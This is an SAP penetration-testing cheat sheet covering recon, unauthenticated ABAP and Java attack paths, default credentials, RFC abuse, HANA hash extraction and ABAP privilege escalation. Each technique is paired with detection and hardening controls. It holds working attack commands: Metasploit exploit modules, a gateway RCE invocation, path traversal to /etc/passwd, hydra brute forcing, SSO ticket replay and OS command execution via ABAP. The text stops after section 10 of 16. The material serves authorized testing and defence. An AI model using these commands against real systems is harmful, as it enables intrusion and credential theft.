SAP Pentesting Cheat Sheet

Disclaimer — Authorized testing only. Everything here consolidates publicly documented SAP security knowledge (SAP Security Notes, CISA KEV, vendor research, Metasploit, pysap) and pairs each technique with its detection/hardening control. Replace <PLACEHOLDERS>; <T> = target host, XX = instance number.

Table of Contents

  1. Architecture & Attack Surface
  2. Tooling Setup
  3. Recon & Fingerprinting
  4. Unauthenticated Attack Surface — ABAP Stack
  5. Unauthenticated Attack Surface — Java Stack
  6. Default Credentials & Password Attacks
  7. RFC & Gateway Exploitation
  8. Fiori, Gateway OData & Web Services
  9. SAP HANA
  10. Post-Authentication Privilege Escalation (ABAP)
  11. Credential Extraction & Cracking
  12. Lateral Movement & Persistence
  13. Detection & Hardening
  14. CVE Table
  15. Quick Reference
  16. References

1. Architecture & Attack Surface

Stacks

StackLanguageMain attack vectors
AS ABAPABAPRFC/Gateway, DIAG logon, ICF/SOAP/OData, custom Z-code, transports
AS JavaJava EEUnauth web apps (VC, CTC), invoker servlet, verb tampering, P4 deserialization
Dual-stackBothBoth sets; Java HTTP fronted by the ABAP ICM
HANASQL / SQLScriptSQL on 3NN13/3NN15, default SYSTEM, hdbuserstore keys
S/4HANAABAP Platform + FioriABAP vectors plus OData (/sap/opu/odata/)
BTP / cloudNode/Java/ABAP CloudXSUAA/OAuth misconfig, destination creds, Cloud Connector pivot
SolManABAP + JavaEEM (CVE-2020-6207), trusted RFC into every managed system

Components

[SAProuter 3299]  [Web Dispatcher]        <- ICMAD (CVE-2022-22536)
        \             |
         [ICM 80NN/443NN | 5NN00/01]       <- HTTP(S), P4, IIOP
                      |
     [ABAP work procs | Java server nodes]
         |                        |
 [Gateway 33NN]       [Message Server 36NN/39NN, HTTP 81NN]
         |
 [DB: HANA / Oracle / MSSQL / DB2]
 side: sapstartsrv 5NN13/14 · Host Agent 1128/1129 · SolMan · Fiori Gateway

Priority order

  1. VC uploader /developmentserver/metadatauploader (CVE-2025-31324, KEV)
  2. RECON /CTCWebService/CTCWebServiceBean (CVE-2020-6287)
  3. P4 5NN04/5NN06 reachable (CVE-2025-42944)
  4. Gateway secinfo/reginfo permissive → unauth OS exec
  5. SAProuter open routes; MS internal port; unprotected sapstartsrv
  6. SolMan EEM (CVE-2020-6207), ICMAD kernel level, ICF info leaks, default creds

Detection / hardening: only ICM/Web Dispatcher HTTPS faces users; 33NN, 36NN/39NN, 5NN04-08, 5NN13/14, 1128 belong on an admin VLAN.


2. Tooling Setup

nmap

# nmap ships one SAP NSE script only ("--script sap-*" does not exist)
nmap -p 50000 --script http-sap-netweaver-leak <TARGET>
# SAP service probes (router, GW, MS, MC, Java): gelim/nmap-sap
git clone https://github.com/gelim/nmap-sap.git
nmap -sV --versiondb nmap-sap/nmap-service-probes -p 3299,3300,3600,50000 <TARGET>

Metasploit

# List all SAP modules (auxiliary/scanner/sap/*, auxiliary/admin/sap/*)
msfconsole -q -x "search path:sap; exit"

pysap

# DIAG/RFC/MS/Router/HDB library; example tools live in the repo, not the pip package
pip install pysap
git clone https://github.com/OWASP/pysap.git && ls pysap/examples/   # ms_dump_info, router_portfw, ...

SAP clients (S-user download, extract with SAPCAR)

# SAP GUI for Java (DIAG + SAProuter strings)
java -jar PlatinGUI-Linux-x86_64-<VER>.jar
# HANA client
./hdbinst -a client && hdbsql -n <HOST>:3<NN>15 -u <USER> -p <PASS> "SELECT * FROM M_DATABASE"
# saprouter / niping / sapgenpse
SAPCAR -xvf saprouter_<VER>.SAR && ./niping -c -H /H/<ROUTER>/S/3299/H/<INTERNAL_HOST>

CVE-2025-31324 scanner

# Onapsis + Mandiant: detection and compromise assessment (frozen 2025-06; extend IoCs)
git clone https://github.com/Onapsis/Onapsis_CVE-2025-31324_Scanner_Tools.git

Burp Suite

# No maintained SAP extensions; use BurpSSOExtension (SAML/SSO) + Param Miner

Detection / hardening: these tools are loud in dev_rd / dev_ms / sapstartsrv.log; share source IPs with Basis.


3. Recon & Fingerprinting

Port map (NN = instance number, default 00)

PortServiceNotes
32NNDispatcher (DIAG)SAP GUI logon
33NN / 48NNGateway / Gateway SNCRFC, CPI-C: high value
36NN / 39NNMessage Server ext / int39NN must never be reachable
81NNMessage Server HTTP/msgserver/text/logon
80NN / 443NNICM HTTP / HTTPSICF, Fiori, WebGUI
5NN00 / 5NN01AS Java HTTP / HTTPSPortal, NWA, VC, CTC
5NN04 / 5NN06 / 5NN08P4 / P4SEC / TelnetAdmin only
5NN13 / 5NN14sapstartsrv (SAP MC SOAP)Admin only
3299SAProuterRoute-string pivot
1128 / 1129Host AgentSID/NR/host leak
3NN13 / 3NN15HANA SQL SYSTEMDB / tenant30015 single-container
8090Older port lists (verify with -sV)
# Instances 00-01, all core ports
nmap -sV -Pn -p 3200-3201,3300-3301,3600-3601,3900-3901,8000-8001,8100-8101,44300-44301,50000-50014,50100-50114,3299,1128,1129,30013,30015 <TARGET>
# Every instance number
msf > use auxiliary/scanner/sap/sap_service_discovery
msf > set RHOSTS <RANGE>; set INSTANCES 00-99; run

Message server leak

# Bad: every app server with host, instance, DIAG port and logon groups
curl -s http://<TARGET>:81<NN>/msgserver/text/logon

ICM / ABAP probes

# Bad: XML with RFCSYSID, RFCDBHOST, RFCSAPRL, RFCKERNRL (unauth)
curl -s http://<TARGET>:80<NN>/sap/public/info
# Bad: registered URL prefix inventory / logon groups
curl -s http://<TARGET>:80<NN>/sap/public/icf_info/urlprefix
curl -s http://<TARGET>:80<NN>/sap/public/icf_info/logon_groups
# Liveness (icman/ping unauth; bc/ping normally 401)
curl -s http://<TARGET>:80<NN>/sap/public/icman/ping; curl -sI http://<TARGET>:80<NN>/sap/bc/ping
# 200/401 = WebGUI and SOAP RFC exposed (logon surface)
curl -sI http://<TARGET>:80<NN>/sap/bc/gui/sap/its/webgui; curl -sI http://<TARGET>:80<NN>/sap/bc/soap/rfc
# Wordlist scan + HEAD retry on every 401
msf > use auxiliary/scanner/sap/sap_icm_urlscan

Java probes

# Bad: 200 = version/component disclosure or exposed admin UI
for p in /sap/monitoring/SystemInfo /sap/monitoring/ComponentInfo /rep/build_info.jsp \
         /startPage /nwa /irj/portal /webdynpro/dispatcher/; do
  echo "$(curl -sk -o /dev/null -w '%{http_code}' https://<TARGET>:5<NN>01$p) $p"; done

ABAP vs Java vs cloud

# Server header + cookies in one request
curl -skI https://<TARGET>:<PORT>/ | grep -iE 'server|sap-|set-cookie'
IndicatorMeans
server: SAP NetWeaver Application Server / ABAP <ver>ABAP / dual-stack
server: SAP NetWeaver Application Server <ver> / ICM <ver>ICM-fronted
Server: SAP J2EE Engine/<ver>AS Java (pre-ICM)
sap-system, sap-server headers (verify)ABAP ICF
sap-usercontext, SAP_SESSIONID_<SID>_<CLNT>ABAP
JSESSIONID + saplb_*AS Java
*.hana.ondemand.com, *.cfapps.<region>.hana.ondemand.comBTP
my<ID>.s4hana.ondemand.com, *.s4hana.cloud.sapS/4HANA Cloud
*.accounts.ondemand.com, *.sapcloud.io (verify)IAS / SAP-managed
Customer FQDN, only 443 open, SAP-hosted IPRISE: confirm SAP is in scope
# Internet exposure
shodan search 'Server: "SAP NetWeaver Application Server"'
shodan search 'port:3299 "SAProuter"'
# Censys: services.http.response.headers.server: "SAP NetWeaver Application Server"

Detection / hardening: deactivate /sap/public/info + icf_info in SICF; ms/acl_info, ms/monitor=0 (Notes 821875, 1421005); undeploy unused Java apps.


4. Unauthenticated Attack Surface — ABAP Stack

Gateway (33NN)

# Fingerprint and check external reachability
nmap -sV -p 33<NN>,48<NN> <TARGET>
# Bad: OS command as <sid>adm via sapxpg because secinfo allows "P TP=* USER=* HOST=*" (10KBLAZE, AA19-122A)
python3 SAP_GW_RCE.py -H <TARGET> -S 33<NN> -c id         # chipik/SAP_GW_RCE_exploit (verify flags)
# Bad: rogue registered server accepted because reginfo allows "P TP=*"
python2 pysap/examples/rfc_monitor.py -d <TARGET> -p 33<NN>   # (verify) - local: gwmon nr=<NN>, SMGW

Detection / hardening: gw/acl_mode=1, explicit gw/sec_info + gw/reg_info (Note 1408081), gw/monitor=1, gw/rem_start=DISABLED; review gateway log (gw/logging) and dev_rd.

SAProuter (3299)

# Bad: route table, client list, version, hostname and local time returned
msf > use auxiliary/scanner/sap/sap_router_info_request
msf > set RHOSTS <ROUTER>; run
# Bad: internal hosts/ports reachable through the router
msf > use auxiliary/scanner/sap/sap_router_portscanner
msf > set SAPROUTER_HOST <ROUTER>; set TARGETS <INTERNAL_CIDR>; set INSTANCES 00-02; run
# Pivot: SAP GUI / niping route string, or local port-forward with pysap
/H/<ROUTER>/S/3299/H/<INTERNAL_HOST>/S/32<NN>
python2 pysap/examples/router_portfw.py -d <ROUTER> -t <INTERNAL_HOST> -r 32<NN> -p 32<NN>  # (verify)

Detection / hardening: saprouttab deny-by-default (D * * * last), route passwords, SNC (-K), info-request password (-P); log with -G <logfile>.

Message server (36NN binary)

# Bad: dumps server list, parameters and logon groups; ms_listener can register a rogue app server
python2 pysap/examples/ms_dump_info.py -d <TARGET> -p 36<NN>
python2 pysap/examples/ms_listener.py -d <TARGET> -p 39<NN>   # internal port reachable = critical

Detection / hardening: ms/acl_info + ms/acl_file_int, rdisp/msserv_internal=39NN firewalled (Notes 821875, 1421005); dev_ms trace.

SOAP RFC (/sap/bc/soap/rfc)

POST /sap/bc/soap/rfc?sap-client=<CLNT> HTTP/1.1
Host: <TARGET>:80<NN>
Authorization: Basic <BASE64_USER_PASS>
Content-Type: text/xml
SOAPAction: urn:sap-com:document:sap:rfc:functions

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><urn:RFC_SYSTEM_INFO xmlns:urn="urn:sap-com:document:sap:rfc:functions"/></SOAP-ENV:Body></SOAP-ENV:Envelope>
# Bad: RFC_PING/RFC_SYSTEM_INFO answer with default creds or a SICF anonymous service user
msf > use auxiliary/scanner/sap/sap_soap_rfc_system_info   # also: sap_soap_rfc_brute_login

Detection / hardening: deactivate /sap/bc/soap/rfc in SICF if unused; restrict S_RFC; UCON; Security Audit Log (RSAU_CONFIG).

ICF services, BSP, Web Dynpro, WebGUI

# Bad: 200 without logon, or a service with an anonymous logon user (SICF "Logon Data")
for p in /sap/bc/webdynpro/sap/ /sap/public/bc/ /sap/bc/bsp/sap/ /sap/bc/gui/sap/its/webgui; do
  echo "$(curl -sk -o /dev/null -w '%{http_code}' https://<TARGET>:443<NN>$p) $p"; done
# WebGUI logon over plain HTTP = cleartext credentials

Detection / hardening: SICF: deactivate unused services, remove anonymous users, enforce HTTPS; icm/HTTP/auth_<xx> URL filtering.

SAP Management Console / sapstartsrv (5NN13/14)

# Bad: any of these succeeds unauthenticated (only some methods protected under SDEFAULT)
msf > use auxiliary/scanner/sap/sap_mgmt_con_getenv            # GetEnvironment
msf > use auxiliary/scanner/sap/sap_mgmt_con_listlogfiles      # ListLogFiles / getlogfiles=ReadLogFile
msf > use auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints   # full port map; also sap_mgmt_con_extractusers

Detection / hardening: service/protectedwebmethods = ALL (or SDEFAULT + extras), service/admin_users; Note 927637; sapstartsrv.log.

SAP Host Agent (1128/1129)

# Bad: 301 to /sapmc/sapmc.html?SID=<SID>&NR=<NN>&HOST=<host> leaks SID/instance/hostname
curl -sI http://<TARGET>:1128/
msf > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem

Detection / hardening: keep Host Agent patched, service/admin_users in host_profile, firewall 1128/1129 to admin hosts.


5. Unauthenticated Attack Surface — Java Stack

Long-form version with version matrices and compromise assessment: full AS Java reference.

Visual Composer uploader (CVE-2025-31324 / CVE-2025-42999)

# Bad: anything but 404 (200/405/500) on a system with VCFRAMEWORK = exposed; assume compromise
curl -sk -o /dev/null -w '%{http_code}\n' https://<TARGET>:5<NN>01/developmentserver/metadatauploader
# Hunt: unexpected JSPs (helper.jsp, ran.jsp, shell.jsp) under the Portal servlet tree
ls /usr/sap/<SID>/J<NN>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/

Detection / hardening: Notes 3594142 + 3604119 + 3660659 (serialFilter), or 3593336 Option 0 (remove app); KEV, ransomware-linked; 42999 alone is PR:H.

RECON — LM Configuration Wizard (CVE-2020-6287)

# Bad: 200 + text/xml WSDL with a CTCWebService element
curl -sk https://<TARGET>:5<NN>01/CTCWebService/CTCWebServiceBean?wsdl | head -5
# Non-destructive check only; the module's run action creates an admin user
msf > use auxiliary/admin/sap/cve_2020_6287_ws_add_user
msf > check

Detection / hardening: Note 2934135 (patch LMCTC), 2939665 (disable alias); CISA AA20-195A; watch UME for new Administrator users.

CTC ConfigServlet (CVE-2012-2611 family)

# Bad: 200, or HEAD differs from GET (verb-tampering bypass)
curl -sk -o /dev/null -w '%{http_code}\n' https://<TARGET>:5<NN>01/ctc/ConfigServlet
curl -sk -I https://<TARGET>:5<NN>01/ctc/ConfigServlet
msf > use auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt
msf > use auxiliary/admin/sap/sap_configservlet_exec_noauth     # OS exec as <sid>adm

Detection / hardening: Notes 1589525 / 1624450; undeploy or disable CTC in production.

Invoker servlet (CVE-2010-5326)

# Bad: protected servlet reached by class name, bypassing its web.xml constraint
curl -sk -o /dev/null -w '%{http_code}\n' https://<TARGET>:5<NN>01/<APP>/servlet/<FULLY.QUALIFIED.ClassName>
curl -sk https://<TARGET>:5<NN>01/ctc/servlet/com.sap.ctc.util.ConfigServlet

Detection / hardening: EnableInvokerServletGlobally=false on servlet_jsp plus per-app InvokerServletLocallyEnabled audit (Note 1445998); KEV; log com.sap.ASJ.web.000767 = correctly off.

Verb tampering (CVE-2010-0738 class)

# Bad: GET -> 401 but HEAD -> 200 (constraint lists <http-method>GET</http-method>)
for m in GET HEAD; do echo "$m $(curl -sk -o /dev/null -w '%{http_code}' -X $m https://<TARGET>:5<NN>01/<PROTECTED_PATH>)"; done
curl -sk -I https://<TARGET>:5<NN>01/dir/support/CheckService     # PI classic target

Detection / hardening: remove every <http-method> from <security-constraint> in web.xml; Note 1503579 (/dir).

SolMan EEM (CVE-2020-6207)

# Bad: WSDL returned = unauth EEM; leads to OS exec on managed systems via SMD agents
curl -sk https://<SOLMAN>:5<NN>01/EemAdminService/EemAdmin?wsdl | head -5
msf > use auxiliary/admin/sap/cve_2020_6207_solman_rce
msf > check

Detection / hardening: Note 2890213 (LM-SERVICE); KEV; monitor EEM script uploads and Diagnostics Agent processes.

P4 / RMI deserialization (CVE-2025-42944)

# Bad: P4/P4SEC answers from any non-admin zone (unauth deserialization -> OS exec, CVSS 10.0)
nmap -sV -p 5<NN>04,5<NN>06,5<NN>08 <TARGET>

Detection / hardening: Notes 3634501, 3660659, 3670067 (SERVERCORE, Java 8u121+ prerequisite); firewall P4/IIOP; confirm BlocklistFilter in server logs.

Traversal reads (CVE-2017-12637, CVE-2016-3976)

# CVE-2017-12637 scheduler: bad = directory listing / file content (hash segment varies, verify)
curl -sk "https://<TARGET>:5<NN>01/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
# CVE-2016-3976 CrashFileDownloadServlet: bad = /etc/passwd or win.ini returned
curl -sk "https://<TARGET>:5<NN>01/<APP>/CrashFileDownloadServlet?fileName=../../../../../../etc/passwd"   # (verify app path)

Detection / hardening: Notes 2486657 (KEV cites 3476549) and 2234971; both in KEV; alert on .. in ICM HTTP logs (icm/HTTP/logging_<xx>).

UDDI / Services Registry (CVE-2016-2386)

# Bad: UDDI pages/API reachable unauth (SQLi in 7.40, KEV)
curl -sk -o /dev/null -w '%{http_code}\n' https://<TARGET>:5<NN>01/uddi/          # (verify path per release)

Detection / hardening: Note 2101079; undeploy Services Registry if unused.


6. Default Credentials & Password Attacks

SAP publishes its standard-account defaults as must-change items; they survive in production far more often than they should. Check them first.

6.1 Standard ABAP accounts (by client)

AccountClient(s)Default passwordPurpose
SAP*000, 001, 066, every new client06071992 / PASSKernel superuser
DDIC000, 00119920706Dictionary / upgrade admin
TMSADM000$1Pawd2& (older PASSWORD)Transport management
SAPCPIC000, 001ADMINCPI-C comms user
EARLYWATCH066SUPPORTEarlyWatch reporting
* Verify defaults across all clients; "bad" = any account flagged still-default
SA38 -> RSUSR003
* TMSADM fix (Note 1414256) — changing it in SU01 breaks RFC destinations
SA38 -> TMS_UPDATE_PWD_OF_TMSADM

Detection / hardening: RSUSR003 + EarlyWatch "Default Password of Standard Users" (KBA 1610103); login/no_automatic_user_sapstar = 1 stops a deleted SAP* returning with the kernel default.

6.2 Java (UME) and HANA accounts

AccountWhereNote
Administrator / J2EE_ADMINAS Java (add-in default J2EE_ADMIN)Install master password
J2EE_GUESTAS JavaMust be locked; often unlocked for anon content
SAPJSF / SAPJSF_<SID>UME↔ABAP RFC comms userType System; read-write role = full ABAP user admin
SAP* (AS Java emergency)ume.superadmin.*Distinct from ABAP SAP*; no default password
SYSTEMHANADB superuser; install-time password
# AS Java form-login brute against the UME login module
# "bad" = 302/200 to a landing page instead of j_authentication_err
hydra -L users.txt -P pass.txt <TARGET> https-post-form \
  "/sap/bc/ui2/start_up:j_username=^USER^&j_password=^PASS^:j_authentication_err"

Detection / hardening: ume.superadmin.activated=false and ume.superadmin.password blank in steady state (OS→admin path, almost no app-layer trail); on dual-stack Java lockout is 0/infinite by design, so ABAP login/fails_to_user_lock governs — verify it.

6.3 Password policy parameters

* Read via RZ11 / report RSPFPAR; weak values are the finding
* login/min_password_lng           baseline >= 8
* login/fails_to_user_lock         baseline <= 5 (0 = unlimited brute)
* login/no_automatic_user_sapstar  1 (0 lets deleted SAP* return as PASS)
* login/password_downwards_compatibility  0 (>0 keeps weak BCODE beside H)
RZ11 -> <PARAM>

Detection / hardening: RSPFPAR snapshot per instance; login/* deviations drive config-audit findings.

6.4 Online brute force (lockout-safe)

# RFC/SOAP logon brute with the default-cred table — "bad" = valid USER:PASS reported
msf > use auxiliary/scanner/sap/sap_soap_rfc_brute_login
msf > set RHOSTS <TARGET>; set RPORT 8000; set CLIENT 000
msf > set USER_FILE sap_users.txt; set PASS_FILE sap_pass.txt; run
# WebGUI (ABAP ITS) login brute
msf > use auxiliary/scanner/sap/sap_web_gui_brute_login
# Classic RFC brute (needs NW RFC SDK)
msf > use auxiliary/scanner/sap/sap_rfc_brute_login   # (verify name in your build)
# Stay below login/fails_to_user_lock per account: spread across users, one pw at a time

Detection / hardening: SM20 failed-logon (AU2) and user-locked (AUO) classes; rsau/enable = 1; alert on dormant SAP*/DDIC logons.

# A captured MYSAPSSO2 is a signed assertion — no password re-check on accept.
# Replay to any system trusting the issuer; "bad" = authenticated session returns.
curl -b "MYSAPSSO2=<TICKET>" http://<TARGET>:8000/sap/bc/gui/sap/its/webgui

Detection / hardening: short login.ticket_lifetime (<= 8h — the only revocation window); login/ticket_only_by_https / ume.logon.security.enforce_secure_cookie; narrow cookie scope (ume.logon.domain.remove_subdomains); audit the issuer→accepter trust list (STRUSTSSO2 / /nwa/trusted-systems).


7. RFC & Gateway Exploitation

RFC is SAP's inter-system protocol (Gateway at 33NN). Many function modules are remotely callable and leak data or run code when S_RFC is too broad.

7.1 Function modules

ModuleEffectRisk
RFC_READ_TABLERead any DB tableUSR02 hashes (RAW truncated), business data
RFC_ABAP_INSTALL_AND_RUNCompile + run ABAPFull RCE on ABAP stack (often disabled)
RFCEXECOS command (registered server)OS-level RCE
SXPG_CALL_SYSTEM / SXPG_COMMAND_EXECUTERun SM69 external commandOS command execution
SUSR_USER_CHANGE_PASSWORD_RFCReset a user's passwordTakeover without old pw
BAPI_USER_CREATE1 / BAPI_USER_CHANGECreate/modify users, profilesPersistence, self-escalation
TH_SAPRELKernel release/patchVersion disclosure
RFC_SYSTEM_INFOSID, host, codepageRecon; confirms valid logon

7.2 Metasploit SOAP-RFC modules

# Read an arbitrary table; "bad" = rows from USR02, AGR_1251, ...
msf > use auxiliary/scanner/sap/sap_soap_rfc_read_table
msf > set RHOSTS <TARGET>; set RPORT 8000; set CLIENT 000
msf > set USERNAME <USER>; set PASSWORD <PASS>; set TABLE USR02; run
# OS command execution via SXPG (SM69 commands)
msf > use auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system
msf > use auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec
# User admin over RFC, host info, release disclosure
msf > use auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface
msf > use auxiliary/scanner/sap/sap_soap_rfc_system_info
msf > use auxiliary/scanner/sap/sap_soap_th_saprel_disclosure
# Directory / file-existence disclosure (path recon)
msf > use auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir
msf > use auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence

7.3 Native RFC with Python (pyrfc)

# Confirm logon, then read USR02; "bad" = DATA rows to an unprivileged user
from pyrfc import Connection
c = Connection(ashost="<TARGET>", sysnr="00", client="000", user="<USER>", passwd="<PASS>")
print(c.call("RFC_SYSTEM_INFO")["RFCSI_EXPORT"]["RFCHOST"])
r = c.call("RFC_READ_TABLE", QUERY_TABLE="USR02",
           FIELDS=[{"FIELDNAME": "BNAME"}, {"FIELDNAME": "BCODE"}], ROWCOUNT=50)
print([row["WA"] for row in r["DATA"]])

7.4 Gateway ACL abuse & registered-server hijack

* A missing/loose reginfo lets a rogue RFC server program register (e.g. RFCEXEC)
* and route OS commands through it. Read the live ACL state:
* "bad" = no reginfo, or P TP=* / HOST=* wildcard = anyone may register.
SMGW -> Goto -> Expert Functions -> External Security -> Display
* Relevant params: gw/acl_mode, gw/sec_info, gw/reg_info

Detection / hardening: gw/acl_mode = 1 with explicit default-deny gw/sec_info + gw/reg_info (no TP=*/HOST=*); gw/rem_start = DISABLED where possible; gateway log dev_rd + SM20; Notes 1408081 / 1425765. For S_RFC: scope to named function groups (never *); UCON to whitelist externally-callable FMs; disable RFC_ABAP_INSTALL_AND_RUN where unused.

7.5 Trusted RFC destinations (enumerate only)

* Inventory only — lateral use is §12. "bad" = type-3 dest with Trust Relationship
* plus a stored high-priv logon user (trust needs rfc/trusted + caller S_RFCACL).
SM59                 # inspect interactively
SE16 -> RFCDES       # dump destination definitions

Detection / hardening: audit S_RFCACL holders; remove stored SAP_ALL logon users from SM59 destinations; prefer SNC + UCON.


8. Fiori, Gateway OData & Web Services

Fiori enforces its own catalog/authorization layer; the ABAP back-end OData services often do not match it. Probe the back end directly — one probe per item.

8.1 OData enumeration & data exposure

# List every activated OData service; "bad" = large catalog readable as low-priv
curl -s "http://<TARGET>:8000/sap/opu/odata/IWFND/CATALOGSERVICE;v=2/ServiceCollection"
# Model, then pull entity data directly (bypasses the launchpad)
curl -s "http://<TARGET>:8000/sap/opu/odata/sap/<SRV>/\$metadata"
curl -s "http://<TARGET>:8000/sap/opu/odata/sap/<SRV>/<EntitySet>?\$top=100"
# Over-fetch via navigation the UI never exposes
curl -s "http://<TARGET>:8000/sap/opu/odata/sap/<SRV>/<EntitySet>?\$filter=<F>%20ne%20''&\$expand=<NAV>"
# Writes need a CSRF token; "bad" = token issued to a user who should not POST/PUT
curl -s -c cj.txt -H "X-CSRF-Token: Fetch" "http://<TARGET>:8000/sap/opu/odata/sap/<SRV>/" -D -

Detection / hardening: maintain services in /IWFND/MAINT_SERVICE; enforce back-end auth objects per service, not just catalog assignment; /IWFND/ERROR_LOG; keep CSRF on for all state-changing OData.

8.2 Launchpad, UI5, WebDynpro, BSP, SOAP

# Launchpad + bootstrap (user context, assigned catalogs leak here)
curl -s "http://<TARGET>:8000/sap/bc/ui2/flp"
curl -s "http://<TARGET>:8000/sap/bc/ui2/start_up"
curl -s "http://<TARGET>:8000/sap/bc/ui5_ui5/"                 # UI5 app resources
curl -s "http://<TARGET>:8000/sap/bc/webdynpro/sap/<APP>"      # WebDynpro root
curl -s "http://<TARGET>:8000/sap/bc/bsp/sap/<APP>"            # BSP root
curl -s "http://<TARGET>:8000/sap/bc/soap/rfc"                 # SOAP/RFC surface
curl -s "http://<TARGET>:8000/sap/bc/srt/wsdl"                 # WSDL surface

Detection / hardening: deactivate unused ICF services in SICF; reconcile front-end and back-end roles; block /sap/bc/soap/rfc externally.

8.3 SICF service enumeration

# Discover active ICF nodes without SAP GUI; "bad" = soap/rfc/bsp listed active
curl -s "http://<TARGET>:8000/sap/public/icf_info/icr_groups"
curl -s "http://<TARGET>:8000/sap/public/icf_info/icr_urlprefix"

Detection / hardening: restrict /sap/public/icf_info/*; audit active nodes in /nSICF; Note 1422273 (ICF information disclosure).


9. SAP HANA

HANA listens on 3NN13 (SQL), 3NN15 (tenant / systemDB SQL), 43NN+ (XS), Cockpit 51000+. 3NN = instance number (instance 00 → 30013/30015).

9.1 Connect and enumerate

# "bad" = SYSTEM still on the install/default password
hdbsql -n <HOST>:3<NN>15 -u SYSTEM -p <PASS>
curl -sk "https://<HOST>:43<NN>/sap/hana/xs/"      # XS engine
curl -sk "https://<HOST>:51000/"                   # HANA Cockpit
-- Users, policy, grants; "bad" = active SYSTEM, no-expiry users, broad grants
SELECT USER_NAME, USER_DEACTIVATED, LAST_SUCCESSFUL_CONNECT FROM SYS.USERS;
SELECT * FROM SYS.M_PASSWORD_POLICY;
SELECT * FROM SYS.GRANTED_PRIVILEGES WHERE GRANTEE = CURRENT_USER;

9.2 ABAP schema & credential stores

-- An ABAP-on-HANA system keeps tables in schema SAPABAP1 (or SAP<SID>).
-- Reading USR02 here bypasses RFC RAW truncation -> full hashes.
-- "bad" = BCODE/PASSCODE/PWDSALTEDHASH readable from your DB user.
SELECT BNAME, BCODE, PASSCODE, PWDSALTEDHASH FROM "SAPABAP1"."USR02";
SELECT * FROM "_SYS_REPO"."DELIVERY_UNITS";   -- repository objects
# On-disk key/credential material (OS access); "bad" = readable SSFS stores/backups
ls -la /usr/sap/<SID>/HDB<NN>/<HOST>/sec/     # SSFS data/key stores
ls -la /usr/sap/<SID>/HDB<NN>/backup/         # backups may hold full data

Detection / hardening: deactivate SYSTEM after creating named admins; enable HANA audit policies and ship the audit log to SIEM; restrict CATALOG READ/DATA ADMIN and schema grants; encrypt data/log/backups; sec/ readable only by <sid>adm.


10. Post-Authentication Privilege Escalation (ABAP)

With any ABAP logon, these paths escalate — most hinge on one over-broad authorization object.

10.1 S_DEVELOP debug — bypass an auth check

* S_DEVELOP ACTVT=02 allows runtime variable change. Break on the AUTHORITY-CHECK,
* set SY-SUBRC = 0 before it returns. "bad" = restricted action then runs.
SE37 / SE38 -> breakpoint at AUTHORITY-CHECK -> set SY-SUBRC = 0 -> continue

Detection / hardening: remove S_DEVELOP (ACTVT 01/02) from non-developers; SM20 debug events CUK/CUL (field change) and AU3.

10.2 SE38 / SA38 — run privileged programs

* OS command via standard report RSBDCOS0; "bad" = command output returned
SA38 -> RSBDCOS0
* Or inline if you can create/run a report:
REPORT ZPOC. CALL 'SYSTEM' ID 'COMMAND' FIELD 'id' ID 'TAB' FIELD output.

Detection / hardening: restrict S_PROGRAM + program auth groups; lock RSBDCOS0; SM20 report/transaction-start events.

10.3 SM49 / SM69 — external OS commands

* SM69 defines external commands, SM49 runs them (as <sid>adm)
* "bad" = you add/edit a command to run a shell and execute it
SM69 -> create/modify -> SM49 -> execute

Detection / hardening: restrict S_RZL_ADM / S_LOG_COM; review SM69 for shells/interpreters; SM20.

10.4 SM36 / SM37 — background job step hijack

* SM37 can edit another user's job; a step runs as that job's step-user.
* Point a step at RSBDCOS0 or a Z-report; "bad" = you redirect a DDIC/BASIS job.
SM37 -> user=* , status=Scheduled/Released -> change step -> program/variant

Detection / hardening: restrict S_BTCH_ADM/S_BTCH_NAM/S_BTCH_JOB; alert on step-user changes; baseline SM37.

10.5 SU01 / SU10 / PFCG — self-assign SAP_ALL

* With user-admin rights, grant SAP_ALL/SAP_NEW or reset a user's password.
* "bad" = a non-admin edits profiles/roles or resets a privileged account.
SU01 -> <USER> -> Profiles -> add SAP_ALL / SAP_NEW      # SU10 = mass
PFCG -> role -> add auth objects -> generate -> assign

Detection / hardening: split S_USER_GRP/S_USER_PRO/S_USER_AGR (SoD); forbid SAP_ALL assignment; change docs via RSUSR100; SM20.

10.6 SUIM — find who holds what

* Enumerate dangerous-auth holders first; "bad" = unexpected SAP_ALL/S_DEVELOP/
* S_TABU_DIS/S_RFC * holders.
SUIM -> Users by Complex Selection -> Profile = SAP_ALL
SA38 -> RSUSR008_009_NEW        # critical-authorizations report

Detection / hardening: regular RSUSR008_009_NEW review; remove wildcard S_TCODE/S_RFC.

10.7 SE16 / SE16N — direct table edits

* SE16N hidden edit mode: type &sap_edit in the command field to write tables.
* "bad" = you edit USR02/AGR_USERS directly, bypassing application logic.
SE16N -> table <T> -> command field: &sap_edit

Detection / hardening: restrict S_TABU_DIS/S_TABU_NAM by table auth group; SE16N edit is logged — monitor; Note 1420281 (&sap_edit).

10.8 STMS / RZ10 — landscape & parameter abuse

* STMS: import a crafted transport = cross-landscape code execution (see §12).
* RZ10: change live profile params, e.g. re-enable SAP* or weaken login/*.
* "bad" = login/no_automatic_user_sapstar flipped to 0, or rogue transport imported.
RZ10 -> edit profile -> login/no_automatic_user_sapstar = 0 -> activate

Detection / hardening: restrict S_TRANSPRT/S_CTS_ADMI and S_RZL_ADM; transport signing; watch S_RFC+S_RFCACL; audit RZ10 changes.

10.9 Escalation transaction reference

T-codeObjectEscalation use
SE38/SA38S_PROGRAMRun RSBDCOS0 / arbitrary reports
SE37S_DEVELOPCall FMs, debug auth checks
SM49/SM69S_LOG_COM/S_RZL_ADMExternal OS commands
SM36/SM37S_BTCH_*Job step hijack to priv user
SU01/SU10S_USER_GRPCreate/modify users, reset pw
PFCGS_USER_AGRBuild/assign roles
SUIMS_USER_* (read)Find privileged users
SE16/SE16NS_TABU_DISRead/edit tables (&sap_edit)
